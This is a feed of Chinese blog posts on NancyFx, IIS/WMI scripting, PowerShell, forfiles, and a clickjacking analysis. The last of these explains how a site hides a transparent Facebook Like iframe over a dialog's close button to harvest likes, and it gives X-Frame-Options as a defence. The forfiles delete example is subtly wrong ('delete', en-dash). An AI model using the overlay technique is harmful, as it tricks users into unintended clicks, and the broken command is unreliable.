Quantcast
Channel: 黑暗執行緒
Viewing all 2311 articles
Browse latest View live

NancyFx-打造小型 WebAPI 與 Microservice 的輕巧利器

$
0
0

在做非網站系統整合時,我很愛用一招:寫個 Process 提供 WebAPI 介面給其他系統呼叫,不管你用什麼烏語言鬼平台,怎麼可能找不到 HttpCllient 元件或程式庫?都民國幾年了敢跟我說你不會寫Call 網頁的程式?你瞧瞧,多理直氣壯,乘著主流趨勢我們站上制高點,高舉 Web API 大旗, 天下無敵,哇哈哈哈~這招很棒吧?

不直接在 IIS 跑 ASP.NET,多半因為程式有執行身分權限或特殊限制(例如:整合Word、Excel等重量級互動式應用程式),通常我會寫成 Console Application 或 Windows Service,因此需要有 Self-Host 模組提供 TCP 連線、路由、Request/Response 處理管線等基礎建設。過去我研究過一些解決方案,例如:

從頭自已寫,純為好玩體驗一下還OK,要搞到順手好用的境界只怕要血流成河,且有重覆造輪子的重嫌。我在實務情境遇到許多小型 WebAPI,往往只有一到兩個 API,搬出功能強大的全套 ASP.NET Web API 跑 Self-Host 總給我有殺雞用牛刀的感覺,不符合 KISS (Keep It Simple, Stupid)中心思想。最近試玩過 NancyFx,驚為天人,簡直就是迷你 WebAPI 界的 Dapper!想必日後會在很多地方派上用場,特整理範例供日後參考。

訂個超簡單的題目:一個每次產生新 GUID 的 WebAPI。看看用 NancyFx 實做需要多少步驟、幾行程式碼。

首先我們開一個 Console Application 專案,用 NuGet 安裝 Nancy.Hosting.Self 套件(Nancy 也會一併安裝好 ):

宣告一個繼承 NancyModule 的 GuidGeneratorModule,建構式中為 Get["/"] 定義 Lambda 函式傳回 Guid.NewGuid().ToString()。這様 WebAPI 接 Request 的部分就寫完了,接著處理 Self-Hosting 的部分,在 Main() 裡建立一個 NancyHost,指定繫結的 URL,呼叫 Start() 就可以開門做生意了。提醒:Windows 7+需以管理者權限執行(較不建議)或使用 netsh http add urlacl url=http://+:32767/ user=machine\username 開放權限,參考

using Nancy;
using Nancy.Hosting.Self;
using System;
 
namespace NancyFxDemo
{
class Program
    {
staticvoid Main(string[] args)
        {
using (var host = new NancyHost(
new Uri("http://localhost:9527")))
            {
                host.Start();
                Console.WriteLine("Press any key to stop...");
                Console.Read();
                host.Stop();
            }
        }
    }
 
publicclass GuidGeneratorModule : NancyModule
    {
public GuidGeneratorModule()
        {
            Get["/"] = (p) =>
            {
return Guid.NewGuid().ToString();
            };
        }
    }
 
}

薑薑薑薑~ 一不小心我們就把 WebAPI 寫完了!如此短小精悍,是我的菜沒錯 :P

最後補充一些常見應用:

1.由路由取得參數

//由URL路由取得參數
            Get["route/{blah}"] = (p) =>
            {
return"param=" + p.blah.ToString();
            };

在路由使用{blah}標示參數,p.blah即為參數內容(或寫成 p["blah"] 也通)

2.定義 Get 及 Post,由 Form 及 QueryString 取得參數

//由QueryString或Form讀取參數
            Get["concat"] = Post["concat"] = (p) =>
            {
//Query, Form是dynamic,取屬性時可寫成Query.A或Query["A"]
//Query.Blah傳回型別為DynamicDictionaryValue, 有HasValue及Value
returnstring.Format("{0} {1}",
                    Request.Query.A.Value ?? Request.Form.A.Value ?? string.Empty, 
                    Request.Query["B"].Value ?? Request.Form["B"].Value ?? string.Empty);
            };

Nancy 的 Request 也有 Query 及 Form,不過不像 ASP.NET 可以用 Rquest["blah"] 通吃 QueryString、Form 及 Cookie,上面程式我示範用 ?? 運算子(學名為 Null 聯合運算子,Null-coalescing Operator)通吃 Query 及 Form。並同場加映如何讓 GET 及 POST 共用方法,

執行結果如下:

GET

POST

摁~ Pen Pineapple Apple Pen…

3.Model Binding

如果你覺得用 Request.Form/Query 取值太 Low,用 Model 才是王道,這也難不倒 Nancy。加上 using Nancy.ModelBinding 後,呼叫 this.Bind<T> 就可將參數 Bind 到預設定義好的 Model 型別物件上。

class ConcatParams
        {
publicstring A { get; set; }
publicstring B { get; set; }
        }
 
public GuidGeneratorModule()
        {
            Get["concatByModel"] = Post["concatByModel"] = (p) =>
            {
                var param = this.Bind<ConcatParams>();
returnstring.Format("{0} {1}", param.A, param.B);
            };
        }

4.POST JSON 及回傳 JSON

以下展示怎麼接收 POST 傳入的 JSON 內容以及傳回 JSON:

            Post["concatByJson"] = (p) =>
            {
                var param = this.Bind<ConcateParams>();
return Response.AsJson(new
                {
                    Resullt = string.Format("{0} {1}", param.A, param.B)
                });
            };

神奇的 Bind() 除了能從 Query 及 Form 對應屬性,還可直接將 POST 傳入的 JSON 字串反序列為物件,而 Response.AsJson() 則支援將物件序列化成 JSON 字串,沒花什麼力氣就輕鬆搞定。

除了以上的簡單應用,Nancy 也支援許多網站標準功能(例如:身分驗證、BeforeRequest/OnError事件、客製化錯誤頁面…),甚至能用 Razor 寫 View,要做出完整度不輸 IIS+ASP.NET MVC 的網站並非難事。但依我的策略,複雜的網站功能仍會選擇用 ASP.NET MVC 打正規戰,至於在 Console Application/WPF/Windows Service 加入 WebAPI 功能這類要近身肉博的場合,就仰賴 NancyFx 這把鋒利的輕巧短兵刃,用兩顆 DLL 加幾行程式秒殺需求。


硬碟 storahci 129 事件經驗一則

$
0
0

電腦怪怪的,開機只操作了幾分鐘,某些涉及磁碟寫入的程式會卡住無回應。重開機後暫時恢復,但幾分鐘後又發生同樣問題。

事件檢視器看到大量 storahci 警告事件,訊息為「重設為裝置 \Device\RaidPort0 的指令已發出」(Reset to device, \Device\RaidPort0, was issued):

爬文相關討論不少,多半指向 SATA 控制器驅動程式問題,最常見的解法是將電源選項的 PCI Express/連結狀態電源管理 設為關閉,另外還有人建議修改 Registry 後調整「AHCI Link Power Management – HIPM/DIPM」「AHCI Link Power Management – Adaptive」。

在我的案例這些修改都無效,但上回同一顆硬碟出現過一次抓不到的狀況,最後換了個 SATA 插槽才解決,後來聽 Aska說 SATA 排線可能導致硬碟問題,推測可能又是 SATA 排線作亂。摸摸鼻子拆了機殼,換條 SATA 排線也換個插孔,重開機後一切正常。(重新爬文,我找到因為 SATA 排線導致 storahci 129 的同伴:In my case the reason was a weak sata cable)

歷經兩次經驗學到的心得:

當 SATA 硬碟問題不斷,請把排線也列為嫌犯

程式範例-使用 C# 查詢 CPU 與記憶體使用狀況

$
0
0

有個小需求想透過程式取得 CPU 與記憶體使用率,爬文發現用 C# 寫簡單到不行:建一個 PerformanceCounter 物件,指定分類、計數器名稱、執行個體,接著用 NextValue() 取值,輕鬆搞定。

using System;
using System.Diagnostics;
using System.Threading;
 
namespace JetEngine
{
class Program
    {
static PerformanceCounter cpu = new PerformanceCounter(
"Processor", "% Processor Time", "_Total");
static PerformanceCounter memory = new PerformanceCounter(
"Memory", "% Committed Bytes in Use");
 
staticvoid Main(string[] args)
        {
while (true)
            {
                Console.WriteLine("CPU: {0:n1}%", cpu.NextValue());
                Console.WriteLine("Memory: {0:n0}%", memory.NextValue());
                Thread.Sleep(1000);
            }
        }
    }
}

如果不知道分類、計數器及執行個體名稱,可以參考效能監視器的新増計數器介面:

實測驗證,程式與效能監視器抓到的數據一致。

使用 PerformanceCounter 類別需要讀取特定 Registry 的權限,一般登入帳號都可使用,但如果想搬進ASP.NET會卡在權限問題,得到以下錯誤:Access to the registry key 'Global' is denied.

解決方案有二,第一是讓 ASP.NET 用一般使用者等級的身分執行,但會衍生網站程式權限變大的風險,較不建議。第二種做法是以一般使用者或系統帳號另跑獨立 Process 或 Windows Service 讀取計數器再以 WebAPI 方式供本機查詢,實作可考慮使用前幾天介紹的輕巧兵器-NancyFx

使用 WMI 匯出 IIS 6 網站設定

$
0
0

IIS 6 網站要移轉到 Windows 2012 R2 主機,轉換前打算匯出網站完整設定檢視一次,排除過期或廢棄的網站應用程式,另外還想嘗試依據現有設定產生設定網站應用程式與虛擬目錄的自動化 Script,第一步要取得現有網站設定資料。

使用 PowerShell Get-WmiObject -class IISWebVirtualDirSetting -namespace "root/MicrosoftIISv2" -computername "IIS6主機名稱" -authentication 6(參考:Get-WmiObject 參數說明)可列出虛擬目錄及網站應用程式相關設定,要寫程式對匯出資料進行花式應用,轉成 JSON 是首選,而 PowerShell 有個 ConvertTo-Json Cmdlet 可以幫忙。

看似完美對吧?But!天殺的 But 又出現惹~當屬性為物件陣列(如下圖的 HttpCustomHeaders 及 HttpErrors)時,ConvertTo-Json 會轉成"System.Management.ManagementBaseObject"組成的字串陣列,看不出其中內容。

ConvertTo-Json 有個 –Depth 參數指定序列化深度,實測提高到 5 才能看到 HttpErrors 內容:

不過 Depth 提高後,資料結構裡供系統用的 Properties、SystemProperties、Qualifiers、ClassPath 也會被展開,資料變得雜亂仰賴後續過濾簡化。心想橫豎都要寫程式,不如擷取邏輯也自己寫吧!

使用 System.Management.ManagementObjectSearcher 可取回與 Get-WmiObjet 相同的查詢結果,配合 Json.NET LINQ 好用的 JObject、JArray、JValue 動態組裝產生 JSON:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
 
class IISSettingDumper
{
publicstaticvoid Dump()
    {
        ConnectionOptions options = new ConnectionOptions();
        options.Impersonation = System.Management.ImpersonationLevel.Impersonate;
        options.Authentication = AuthenticationLevel.PacketPrivacy;
        ManagementScope scope = new ManagementScope(@"\\.\root\MicrosoftIISv2", options);
        scope.Connect();
        ObjectQuery query = new ObjectQuery("SELECT * FROM IISWebVirtualDirSetting");
        ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query);
        ManagementObjectCollection res = searcher.Get();
        JArray pool = new JArray();
foreach (var m in res)
        {
            JObject jo = new JObject();
foreach (var p in m.Properties)
            {
 
if (p.Value is ManagementBaseObject[])
                {
                    var jsonArray = new JArray();
                    var array = (ManagementBaseObject[])p.Value;
foreach (var q in array)
                    {
                        var child = new JObject();
foreach (var childProp in q.Properties)
                            child.Add(childProp.Name, new JValue(childProp.Value));
                        jsonArray.Add(child);
                    }
                    jo.Add(p.Name, jsonArray);
                }
elseif (p.Value != null&& p.Value.GetType().IsArray)
                {
                    var jsonArray = new JArray(p.Value);
                    jo.Add(p.Name, jsonArray);
                }
else
                {
                    jo.Add(p.Name, new JValue(p.Value));
                }
            }
            pool.Add(jo);
        }
        System.IO.File.WriteAllText("c:\\temp\\VirDirSetting.json", pool.ToString());
        Console.WriteLine(pool.ToString());
    }
}

輸出結果如下,是不是賞心悅目多了?

補充說明:以上做法適用 IIS 6 時代的 WMI 資料規則,如要在 IIS 7+使用,需安裝「IIS 6 Management Compatibility」

【延伸閱讀】

程式範例-IIS WMI 網站設定資料解析

$
0
0

前一篇文章成功將 IIS 6 網站設定匯出成 JSON,不過原始資料太過龐雜,每筆虛擬目錄屬性超過140條,讓人眼花瞭亂。事實上因 IIS 設定具有繼承性,父目錄與子目錄的屬性絕大部分是相同的,針對某個虛擬目錄做的額外設定才是觀注焦點。例如:掛在可匿名存取 P 目錄下的 C 目錄被設成整合式驗證,描述 C 目錄設定時時只要列出 AuthNTLM = true 就好,與 P 目錄相同的設定可以全部省略。為實現這點,我想到一個簡單有效的演算法:拿子目錄的所有屬性跟父目錄比較,只顯示有差異部分。

WMI 匯出的 IISWebVirtualDirSetting 資料為 JSON 格式,轉為強型別處理起來才順手。講到這個不得不推 Visual Studio 強大的 Paste JSON As Classes 功能:選取 IISWebVirtualDirSetting 匯出的全部 JSON 內容,點選「Edit / Paste Special / Paste JSON As Classes」:

見證奇蹟的時刻… Visual Studio 自動依 JSON 資料產生對應型別,連 HttpCustomHeader 這種物件陣列屬性,陣列元素物件也被轉成強型別!

將 public class Class1 更名並轉為部分宣告 public partial class VirDirSetting,我另外再補上額外屬性及方法方便後續處理:

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
 
namespace WmiDataAnalyzer
{
publicpartialclass VirDirSetting
    {
//所屬子網站
public List<VirDirSetting> Children = new List<VirDirSetting>();
//父網站名稱
publicstring ParentName;
//父網站物件
public VirDirSetting Parent;
//所有可能的父網站名稱
publicstring[] AncestorNames
        {
            get
            {
                var p = this.Name.Split('/');
return Enumerable.Range(1, p.Length - 1)
                    .Select(i => string.Join("/", p.Take(i).ToArray())).ToArray();
            }
        }
//層級深度
publicint Level
        {
            get { returnthis.Name.Split('/').Length - 2; }
        }
//動態比對屬性用屬性集合
static Dictionary<string, PropertyInfo> Properties
        {
            get
            {
returntypeof(VirDirSetting)
                    .GetProperties(BindingFlags.Public | BindingFlags.Instance)
                    .Where(o => !"AncestorNames,Level,ScriptMaps".Split(',').Contains(o.Name))
                    .ToDictionary(o => o.Name, o => o);
 
            }
        }
//與Parent比較,找出有差異的設定
public Dictionary<string, string> GetExplicitSettings()
        {
            var diff = new Dictionary<string, string>();
if (this.Parent == null)
            {
                diff.Add("Remark", "**Root**");
            }
else
            {
foreach (var p in VirDirSetting.Properties.Values)
                {
                    var pv = JsonConvert.SerializeObject(p.GetValue(this.Parent));
                    var cv = JsonConvert.SerializeObject(p.GetValue(this));
if (pv.CompareTo(cv) != 0)
                        diff.Add(p.Name, cv);
                }
            }
return diff;
        }
    }
}

寫一小段程式將 JSON 反序列化為物件集合,並找出彼此從屬關係,再印出網站結構及差異設定:

using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
 
namespace WmiDataAnalyzer
{
class Program
    {
staticvoid Main(string[] args)
        {
            Dictionary<string, VirDirSetting> data = 
                JsonConvert.DeserializeObject<VirDirSetting[]>(
                File.ReadAllText("Sample.json")).ToDictionary(o => o.Name, o => o);
            var roots = new List<VirDirSetting>();
//建立從屬關係
foreach (var vds in data.Values)
            {
foreach (var anc in vds.AncestorNames)
                {
if (data.ContainsKey(anc))
                    {
                        vds.ParentName = anc;
                        vds.Parent = data[anc];
                        vds.Parent.Children.Add(vds);
break;
                    }
                }
if (string.IsNullOrEmpty(vds.ParentName))
                {
                    roots.Add(vds);
                }
            }
//印出從屬關係
foreach (var root in roots)
            {
                DumpStructure(root);
            }
            Console.Read();
        }
 
staticvoid DumpStructure(VirDirSetting vds)
        {
            Console.WriteLine("{0}[{1}]", 
newstring(' ', vds.Level * 4), vds.Name);
foreach (var kv in vds.GetExplicitSettings())
                Console.WriteLine("{2} *{0}:{1}", kv.Key, kv.Value,
newstring(' ', vds.Level * 4 ));
foreach (var child in vds.Children)
            {
                DumpStructure(child);
            }
        }
    }
}

我弄了一個測試網站結構如下,建立多個虛擬目錄並故意加入設定差異,例如:驗證方式、IP限制、不同ApplicationPool… 等等。

產生結果如下:

有少部分設定細節未包含在 IISWebVirtualDirSetting 中,要藉由其他 WMI 資料才能拼湊出完整設定。例如:虛擬目錄是否為網站應用程式可由  IISWebVirtualDir "AppRoot": null 與否判斷;IP 限制則要查詢 IISIpSecuritySetting,限定 IP 時會得到如下結果:

  {
"Caption": null,
"Description": null,
"DomainDeny": [],
"DomainGrant": [],
"GrantByDefault": false,
"IPDeny": [],
"IPGrant": [
"127.0.0.1, 255.255.255.255",
"192.168.1.78, 255.255.255.255"
    ],
"Name": "W3SVC/1/ROOT/ParentWebApp/UNCVirtualDir",
"SettingID": null
  },

由這些 WMI 資料,我們就能描繪現有網站的結構,進行檢視調整,並做為撰寫設定 IIS 網站自動腳本的依據。

筆記-使用 PowerShell 設定 IIS 網站

$
0
0

前篇文章由 WMI 資料解析出現有網站設定,經過篩選及調整,下一步計劃轉換成設定 IIS 網站的自動化腳本,以省去在 WebFarm 伺服器一台一台點選操作的煩人手工,也避免人為操作發生疏漏。

PowerShell 已是管理 Windows 的奧林匹克官方指定語言, 可支援 IIS 的大小管理操作,擺著不用是跟自己過不去,雖然對 PowerShell 一知半解,還是得硬著頭皮學會,以下整理我還原 IIS 網站設定用到的指令:(各方達人如知更便捷的做法,請不吝指教)

1. 建立 Application Pool

開始前請記得 Import-Module WebAdministration 載入 IIS 管理模組。New-Item 指定 Path 就可建立 Application Pool,建立後用 Get-ItemProperty 可以看到該集區的設定。

Get-ItemProperty 取回的屬性資料可一一對應到 IIS 管理介面的集區進階設定,例如:queueLength 是 Queue Length、enable32BitAppOnWin64 是 Enable 32-Bit Applications:

如果要修改設定,可使用 Set-ItemProperty Cmdlet,例如以下指令啟用 Enable 32-Bit Applications:
Set-ItemProperty -Path IIS:\AppPools\Blah -Name enable32BitAppOnWin64 -Value  true

有些設定在第二層,例如:processModel.identityType,寫成 Set-ItemProperty -Path IIS:\AppPools\Blah -Name "processModel.identityType" -value 2 (2 = Network Service)

AppPool 各設定屬性及說明可參考 MSDN 文件:applicationPool processModel

註:如要查詢現有 processModel 設定,可用 Get-ItemProperty -Path IIS:\AppPools\Blah -Name prcessModel

2. 設定網站應用程式及虛擬目錄

建立網站應用程式
New-Item 'IIS:\Sites\Default Web Site\Blah' -physicalPath C:\WWW\Blah -type Application -applicaionPool Blah

建立虛擬目錄
New-Item 'IIS:\Sites\Default Web Site\BlahDir' -physicalPath C:\WWW\BlahDir -type VirtualDirectory

3. 設定 UNC 外部虛擬目錄並指定帳號密碼

New-Item 'IIS:\Sites\Default Web Site\UNCTest' -physicalPath \\RemoteServer\ShareName -type VirtualDirectory
Set-ItemProperty -Path ''IIS:\Sites\Default Web Site\UNCTest' -Name userName -Value logonName
Set-ItemProperty -Path ''IIS:\Sites\Default Web Site\UNCTest' -Name password -Value XXXX

4. 設定匿名存取或整合式驗證

以下範例關閉匿名存取並啟用 Windows 整合式驗證

Set-WebConfigurationProperty -Filter /system.webServer/security/authentication/anonymousAuthentication -Name enabled -Value false -PSPath IIS:\ -location 'Default Web Site/Blah'
Set-WebConfigurationProperty -filter /system.webServer/security/authentication/windowsAuthentication -Name enabled -Value true -PSPath IIS:\ -Location 'Default Web Site/Blah'

屬性參考:authentication

5. 限定存取 IP

Set-WebConfigurationProperty -Filter /system.webserver/security/ipsecurity -Name allowUnlisted -Value false -PSPath IIS:\ -Location 'Default Web Site/Blah'
Add-WebConfiguration /system.webServer/security/ipSecurity -Value @{ipAddress="192.168.1.1";allowed="true"} -PSPath IIS:\ -Location 'Default Web Site/Blah'

屬性參考:ipSecurity

 

【參考資料】

TIPS-在 Windows 批次刪除 N 天前的檔案

$
0
0

工作上常遇到的需求:Log、暫存檔案多半有保留年限,如何用一個指令刪除某個期限前的舊檔?

今天才學到一個好用的 DOS 指令-forfiles,參數不多,簡單易用:

  • /p 路徑名稱
    查詢對象,省略時為現在所處資料夾
  • /m 檔名限制
    可配合萬用字元限定檔名或副檔名,例如:*.log、ex1610*.log
  • /s
    指定搜尋範圍包含子目錄及其下層目錄
  • /c "對找到檔案執行的動作"
    例如:"cmd /c del @path"為刪除檔案,省略參數時預設為"cmd /c echo @file",將顯示找到的檔案名稱
  • /d 數字或日期
    限定檔案上次修改日期範圍,+代表大於等於,-代表小於等於,可以指定日期,例如:/d +2016/10/01(10/1當天及之後異動的檔案)、/d -2016/10/10(10/10當天與之前修改過的檔案);或指定數字今天起算幾天前的檔案,例如:/d -3(三天前)/d +0(今天)

撰寫 /c 參數時,有以下變數可用:

  • @file 檔名
  • @name 檔名去掉副檔名
  • @ext 副檔名
  • @path 完整路徑
  • @relpath 與 /p 為基準的相對路徑
  • @isdir 是否為資料夾
  • @fsize 檔案大小
  • @fdate 檔案上次修改日期
  • @ftime 檔案上次修改時間

所以刪除30天以前的Log檔可以寫成:

forfiles /p D:\Logs\IISLogs /s /m *.log /d –30 /c "cmd /c delete @path"

另外我也發現,forfiles 很適合解決之前提過將 DIR 結果轉為檔案清單的需求,還省去 Replace 計算相對路徑的功夫,是更好的選擇:

forfiles /p D:\Set9527 /s /c "cmd /c echo @relpath"

好物一枚,收入命令列工具箱。

【茶包射手日記】ASP.NET MVC 403.14 錯誤烏龍

$
0
0

手動部署 ASP.NET MVC 專案到測試台,仗著自己對 MVC 的了解,沒用 Visual Studio Publish 功能也不是整個專案全搬,而是靠肉眼人腦決定搬哪些檔案。COPY 好檔案設好 IIS,預期該連上 /Home/Index 首頁卻冒出 HTTP 403.14。

這問題以前遇過,起因 Windows 2008 SP2 (非 Windows 2008 R2)的 IIS 7 不支援無副檔名路由,需使用 <modules runAllManagedModulesForAllRequests="true" /> 繞道或安裝 Hotfix。但這回主機是 Windows 2008 R2 IIS 7.5(畫面有 IIS 版號為證),不應有此問題。另一個可能是漏註冊 ASP.NET(需重跑aspnet_regiis),但同機器的其他 ASP.NET MVC 4 跑得好好的,當場排除嫌疑,無保請回。會是路由沒設好?不對,在開發機執行是正常的。

經過一番偵查,猛然想起:我漏了 Global.asax…

路由設定在 MvcApplication.Application_Start(),程式碼已隨 Global.asax.cs 編譯進 DLL,但網站少了 Global.asax 檔案,Application_Start() 事件就不會被觸發,烏龍事件再添一筆。


網路文章騙讚手法剖析

$
0
0

之前領教過內容農場利用 Clickjacking (點擊刧持)讚的手法,包含藏在影片播放鈕上方,一播影片就按讚,甚至讓隱形按讚鈕追著滑鼠游標跑,在網頁點任何地方就強迫中獎。

最近常發現自已莫名訂閱了某些 FB 粉絲團,懷疑是某個讀文章會彈出「歡迎光臨」對話框的網站,今天再度遇到,決定一探究竟。(關於 Clickjacking 細節請參考前文:看影片偷按讚-Clickjacking活用入門,此處不多贅述)

該網路文章如下圖,開啟幾秒後彈出「Hi~~歡迎光臨」對話框並遮蔽網頁,點右上角的 X 關閉鈕才能繼續閱讀。一進門,馬上有人衝到你面前攔路高喊「伊來寫嘛謝」(いらっしゃいませ)根本超有事,其中肯定有鬼。先用瀏覽器 F12 開發者工具監看網路,果然在按下 X 關閉鈕的當下,網頁偷偷呼叫 Facebook 的 like.php,進行了一個點讚的動作。

用 Firefox 的 3D 檢視套件(Tilt 3D)一看,關閉鈕附近果然有重兵埋伏,由<html class="svg" id="facebook">證實該處有個隱形 IFrame 偷藏 Facebook 網頁。

基於好奇研究了做法,原來它用 IFrame 內嵌 Facebook 的按讚外掛,設定 CSS position: absolute + z-index: 1000 讓它浮在關閉鈕的上方,再設定 opacity: 0 使之隱形。用 F12 開發者工具將 opacity 改為 0.5 半透明,就可看到 Facebook 按讚鈕不偏不倚套在關閉鈕上方,IFrame URL還指定語系為保加利亞(locale=bg_BG),讓原本短短的讚或 Like 變成長長的 Харесвам,方便套版。

再追進去,Event Listener 顯示按讚 IFrame 的 click 事件被設定在 wp-content/plugins/like-jacking-ninja/include/public/js/reveal/jquery.reveal.js,jQuery Reveal 是對話框套件,按讚 IFrame 是不折不扣的對話框關閉鈕!而路徑的 like-jacking-ninja 寫得多淺白,Google 後發現居然是點擊騙讚的 Word Press 付費套件。

要防止網頁被別人內嵌做壞事,先前介紹過在 HTTP Header 加入 X-Frame-Options: DENY 或 SAMEORIGIN的防護技巧,但 Facebook 按讚外掛就專門用來內嵌的,基本上無從防起。騙讚只算不光明的小伎倆,並不危害資安,一笑置之便罷;但如果你的網頁操作涉及使用者的資產、權利或安全,就可能被有心人士以類似的 Clickjacking 手法拿來做壞事,記得加上 X-Frame-Options 防護保安康。

2016瑪陵馬

$
0
0

2016 安樂盃瑪陵生態園區馬拉松,全名好長,就簡稱瑪陵馬吧!瑪陵生態園區在七堵,又一個沒跑馬我可能永遠不會踏上的地方,爬文「瑪陵生態園區」,十之八九與馬拉松相關,算是透過舉辦馬拉松行銷地方的成功案例吧!瑪陵開發得挺早,地名源自平埔族語「女巫之墳」,西班牙人也居住過,過往靠煤礦和茶葉盛極一時,之後則以山藥、綠竹筍、桂竹筍等農產聞名。

會場設在瑪陵國小,很可愛的小小學校:(照片為賽後補拍)

學校被綠樹花草包圍,遠處看得到雄偉的岩石山尖,被大自然環抱。

八點開跑時間偏晚(應是考量火車接駁),所幸天氣轉涼還遇上陰天偶有細雨,不必擔心變成燒烤大會。

小型比賽起跑還依完賽時間分區不常見,但最晚只到五小時,沒有我中意的5:30或6小時,就排在5小時吧。

起跑沒多久,跟在三百馬陪跑團與上場烏來馬主辦邵老師(花頭巾很好認)的後面跑了一段。

補給不錯,我吃了叉燒肉、豬耳朵、香腸、水餃、蛋糕… 可惜跑慢了,眼睜睜看著最後一罐啤酒空罐「扣」一聲,在我眼前被踩扁~

瑪陵坑的景色稱不上壯濶,但有山有水,環境清幽,路線總升降差不多等於爬兩趟貓空,但坡度較緩,跑來還算輕鬆。

石公潭(這是回程拍的,去程時潭中居然有人游泳)

路過奇特建物,回家爬文得知為瑪西焦炭窰

成績不是重點,5:45:19輕鬆完賽,再下一馬。

完賽獎牌蠻好看的。

  

Oh, there is one more thing…

薑!薑!薑!薑~~~~

馬拉松五年級生的小小成就,30馬獎!還有沒有毅力騎完60馬是未知數,但慢跑這個好習慣我會努力堅持下去。

閒聊:不想走在「最前端」, WebForm 開發者也該學的技能

$
0
0

就用這篇鬼故事當開場吧!在 2016 年学 JavaScript 是一种什么样的体验?

這幾年 HTML5 火紅,前端開發技術發展如黃河氾濫一發不可收拾,開發框架百家齊嗚,眼花瞭亂不知如何下手就算了,更要命的是市場主流每兩年就轉一次風向,兩年前我才含淚從 Knockout 轉到 Angular,現在卻眼看 React.js 及 Vue.js 可能把 Angular 的接班人 Angular 2 幹掉 Orz。不只開發框架主流變來變去,連開發工具也整套換光光。還記得兩年前的這篇Gulp, Grunt, Bower 以及 npm嗎?好消息,那幾個名詞就快隨風而逝不用花時間搞懂了;壞消息,變成要搞懂 Webpack、Visual Studio Code、Angular CLI 以及 Yarn 這幾個新名詞。

即使前端一變再變,年年砍掉重練,卻有許多前端工程師甘之如飴,這世上唯一不變的真理不就是萬事萬物隨時都在改變嗎?想抱著一個技術吃一輩子太天真。永遠站在時代的最前端的成就感是無可取代的,但細究投資報酬率就是另一回事了。一個我覺得很棒的比喻是「跑馬拉松」這檔事!花六小時揮汗燒掉三千大卡才移動 42 公里,等同跟花一百多塊坐一小時機場巴士的距離,有人樂此不疲,有人覺得根本頭殼壞去。愛的人很愛,圈子外的人無法感受其中樂趣,只覺得超沒效率又折磨自己。

到頭來我有個結論,不是每個人都能接受前端翻來覆去年年砍掉重練,一是人生目標與生活重心不同,不是每個開發者都想或需要成為開發魔人,寫出符合規格的程式(前題是不拉屎留給別人擦)就算稱職;二是投資報酬率問題,對一些需具有深度 Domain Knowhow 才能勝任的系統開發工作,開發者很難無止境地投入資源學習新技術。為避免過度投入排擠其他維度的學習與人生目標,接受新技術時難免斤斤計較,只是寫個網頁得一直走在時代最前端,永遠在學新技術新工具新語言,隨主流更迭不斷砍掉重練還不能喊苦,WTF?以此觀點,如果應用最新技術打造極致 HTML5 體驗不是你最關鍵的核心價值,或著你無法忍受一天到晚直追著前端潮流轉風向,不能接受三天兩頭砍掉重練,那麼請愛惜生命,遠離前端的最前端。

HTML5 勢不可擋,不需要走在最前端是一回事,WebForm 開發者把頭埋進沙裡繼續 ServerControl + PostBack 或套個 UpdatePanel 讓畫面不閃騙自己我會寫 AJAX 又是另一回事。終有一日,Web Form 開發者還是被迫要學會 HTML5 的前端開發方式,提早準備好才不會一抬頭發現自己身陷湍流中央的沙洲。以下我試著從投資報酬率出發,不奢求要寫出 Gmail 那種不像網頁還可以直接搬進手機的 SPA(Single Page Application),把範圍侷限在「使用 AJAX 取代傳統 WebControl Postback」,談談「如果不想走在最前端,WebForm 開發者該學會哪些技能迎接 HTML5 時代?」 

ASP.NET MVC、ASP.NET MVC、ASP.NET MVC

啥?WebForm 不能用了嗎? 一定要換 ASP.NET MVC?我仍維持從 ASP.NET Core 變革談起一文的觀點:

WebForm 仍是當前 ASP.NET 專案主力,市佔率遠勝 ASP.NET MVC,但 MVC、HTML5 才是明日之星!即便 VS2015(甚至再下一版的 Visaul Studio)仍可編譯維護 WebForm 專案,但可以預見的劇情發展是:愈來愈多的新功能只支援 MVC、Web API,WebForm 不再改版進步,接著 WebControl 元件廠商停止推出新版強化,漸漸中止技術支援,市場愈來愈難找到熟悉WebForm 的人才(就算找得到也不會是新鮮的肝,你懂的… XD),未來寫 WebForm 專案的同學會像今天還在寫 ASP 的同學,需要強大心理素質面對冷言冷語:「現在都流行科技新貴,你怎麼還在做菜頭粿?」「人家都已經上太空,你怎麼還在殺豬公?」預言要全部實現還有點遙遠(在本公司存活超過十年仍頭好壯壯沒人敢動的 ASP 表示:安啦,還早得很!) 但 WebForm這條路註定會愈走愈寂寞,愈走愈冷,WebService、SVC 也會是相同處境。可預期在 HTML5 已成主流的今天,依賴 PostBack運作的 WebForm,難以整合最新前端技術,做不出「目前最流行的網頁效果」,愈來愈難贏得使用者與開發者青睞,終究得退出江湖。

儘快搞懂 Controller、Action、CSHTML、Razor、URL Routing、ScriptBundle、ActionFilter… 吧!今天不學,明天就會後悔。

【延伸閱讀】

CSS 3

HTML5 時代呈現網頁的做法與傳統網頁設計差異極大,像是用 Table 切版調位置、用圖檔做漸層背景、用 Photoshop 做線條幾何圖檔、寫 jQuery 產生動畫及Hover 特效 ,在 HTML5 時代全靠 CSS3 搞定!(潑個冷水:什麼?你說 IE7/8/9… )撇開一些會嚇到滴兩滴的神作,光看這個經典純 CSS3 哆拉A夢就夠驚人吧?

未來,要寫網頁保證會接到這種訂單-「我想要這部分弄出像 XXX 網站的那個效果」,除了學習 CSS 知識,請備妥以下技能:

  1. 開瀏覽器 F12 開發者工具偵察現有的網頁 CSS 樣式規則
  2. 判斷產生該效果的 CSS 樣式設定來源
  3. 在自己的網頁加入適當 CSS 樣式套出相同效果
F12 工具的熟練度很重要,它決定前端工程師是走在香榭大道,還是住在下水道。

【延伸閱讀】

TypeScript

